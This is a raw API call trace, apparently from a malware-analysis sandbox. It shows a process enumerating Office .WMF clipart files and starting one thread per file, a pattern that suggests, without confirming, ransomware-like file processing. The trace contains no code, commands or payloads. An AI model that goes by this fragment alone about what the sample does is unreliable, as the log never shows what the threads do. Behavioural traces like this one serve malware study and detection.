	[0253.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2718
	[0253.195] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.195] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1
	[0253.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x271c
	[0253.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.200] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1
	[0253.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2720
	[0253.203] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.204] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1
	[0253.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2724
	[0253.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.345] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1
	[0253.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2730
	[0253.347] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.348] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1
	[0253.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2734
	[0253.350] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.350] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1
	[0253.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2738
	[0253.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.353] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1
	[0253.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x273c
	[0253.355] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.355] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1
	[0253.355] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2740
	[0253.357] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.357] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1
	[0253.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2744
	[0253.359] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.359] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1
	[0253.359] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2748
	[0253.361] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.362] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1
	[0253.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274c
	[0253.363] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.364] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1
	[0253.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2750
	[0253.366] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.367] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1
	[0253.367] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2754
	[0253.368] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.369] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1
	[0253.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2758
	[0253.371] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.372] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1
	[0253.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x275c
	[0253.373] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.374] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1
	[0253.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2760
	[0253.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.376] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1
	[0253.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2764
	[0253.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.514] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1
	[0253.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x279c
	[0253.516] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.517] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1
	[0253.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b0
	[0253.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.519] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1
	[0253.519] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b4
	[0253.520] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.521] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1
	[0253.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b8
	[0253.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.523] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1
	[0253.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27bc
	[0253.525] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.525] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1
	[0253.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c0
	[0253.527] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.528] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1
	[0253.528] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c4
	[0253.530] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.531] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1
	[0253.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c8
	[0253.533] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.534] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1
	[0253.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27cc
	[0253.536] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.537] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1
	[0253.537] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
